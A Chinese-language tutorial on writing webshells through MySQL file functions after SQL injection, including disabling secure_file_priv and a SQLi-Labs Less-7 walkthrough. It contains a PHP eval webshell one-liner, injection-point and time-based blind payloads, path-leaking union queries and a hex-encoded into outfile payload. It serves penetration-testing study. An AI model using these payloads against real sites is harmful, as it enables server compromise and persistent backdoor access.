前言

在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个

  • into dumpfile()
  • into outfile()
  • load_file()

读写文件函数调用的限制。

into outfile

select into outfile 的方法是只能将文件生成在服务器上,而不能生成在客户端上。可以使用 mysql -e "select" > /tmp/file 这种重定向的方法,将文件生成在客户端上。

用法:网站数据库为mysql,在sql注入的过程中如果爆出了网站的绝对路径,常规思路会去查看一下mysql中用户权限是否有读写权限。有的话可以对特定目录进行写入shell。

mysql> select <shell> into outfile '/tmp/test.php'

有时会写入失败,是因为启动mysql的时候使用了--secure-file-priv 参数。这个参数的主要目的就是限制 load data infile 或者select into outfile 之类文件的目录位置。

使用 SELECT @@global.secure_file_priv; 查看当前设置的路径,默认为 /var/lib/mysql-files

2

可以把这个选项关掉,继续测试outfile写入文件权限的问题。在 /etc/mysql/my.cnf 中如下配置,然后重新启动mysql服务

[mysqld]
secure-file-priv = ""

3

load_file

从外部将数据导入到mysql服务器。

load data infile ,则load的文件必须位于mysql服务器上。

load data local infile ,则load的文件必须在客户端上,该语句将从客户端将文件读取并发送到服务器上。

利用outfile getshell

select "contens" into outfile "filename"

满足条件

  • 没有运行在 secure-file-priv模式下
  • 对web目录具有读写权限
  • 没有被过滤单双引号
  • 知道web的物理绝对路径

secure-file-priv

secure_file_priv 可以设置三个参数:空,NULL,filepath

参数说明:

  • 空值:设置为空时,没有进行安全配置,那么这模式下应该就可以导出 webshell
  • NULL:设置本参数值时,数据库不能进行导入导出
  • filepath:filepath 是导入导出的文件路径,设置这个值,那么只能导出文件到 filepath 的路径。

所以需要满足 secure_file_priv 为空或者为 web 路径才可以进行读写操作

可以在 /etc/mysql/my.cnf配置文件中修改secure-file-priv = "" (不过都有权限修改配置文件了,还需要这么费劲写木马吗。。)

select "<?php eval($_POST['a2u13']);?>" INTO OUTFILE "/Application/MAMP/htdocs/mysql_shell.php"

sql-lab实操

  1. 注入点判断

    ?id=1’)) - -
    

  2. 时间盲注测试

    ?id=3')) and sleep(5) --+
    

    会延时,所以注入点为 1'))

  3. Order by 判断列数

    ?id=1')) order by 3 --+
    

    当order by 4 的时候会报错,所以列数为3

  4. 在此之前需要知道网站的目录情况

    利用sql-lab less2 拿到绝对路径

    http://localhost:8888/Less-2/?id=-1%20union%20select%201,@@basedir,@@datadir%20--+
    
    /var/lib/mysql/
    

    可以根据路径判断操作系统为Linux,在Linux下默认的网站路径为/var/www/htmlSQLI-LABS Less-7靶场的路径为/var/www/sqlilabs/Less-7

    所以oufile文件路径为

    /var/www/sqlilabs/Less-7/test.php
    
  5. 上传测试一下

    ?id=1')) union select 1,2,database() into outfile '/var/www/Less-7/1.txt' --+
    

节选:👇

由于版本原因鄙人使用的是5.7.19-0ubuntu0.16.04.1高版本,官方加了安全策略,这里我们需要更改/etc/mysql/mysql.conf.d/mysqld.cnf在末尾处添加secure_file_priv="/",更改后service mysql restart重启mysql服务。之后我们从mysql命令行来看策略:

mysql>show variables like '%secure%';

复制

img

我们看到secure_file_priv这里已经变成“/”,此时我们可以写入。

/sqli-labs/Less-7/?id=1?id=-1')) union select 1,0x3c3f706870206563686f2027636c65616e726f626f74404368616d6435272e706870696e666f28293b203f3e,3 into outfile "/var/www/html/sqli-labs/Less-7/test.php" -- -    //这里我们写入到目录

复制

我们来访问刚写入的地方

/sqli-labs/Less-7/?id=1?id=-1')) union select 1,0x3c3f706870206563686f2027636c65616e726f626f74404368616d6435272e706870696e666f28293b203f3e,3 into outfile "/var/www/html/sqli-labs/Less-7/test.php" -- -

复制

img

这里解释下0x3c3f706870206563686f2027636c65616e726f626f74404368616d6435272e706870696e666f28293b203f3e,这是对语句进行hex编码,为了防止单引号冲突,而导致写入文件失败。

img

参考文章

https://blog.csdn.net/bnxf00000/article/details/64123549

https://www.jianshu.com/p/bcafd8f3ad8e

Mysql的getshell与提权总结【使用 log 写入 Shell】

https://www.freebuf.com/articles/web/334078.html

https://www.freebuf.com/vuls/334032.html

https://cloud.tencent.com/developer/article/1078125

https://www.freebuf.com/articles/web/274059.html

评论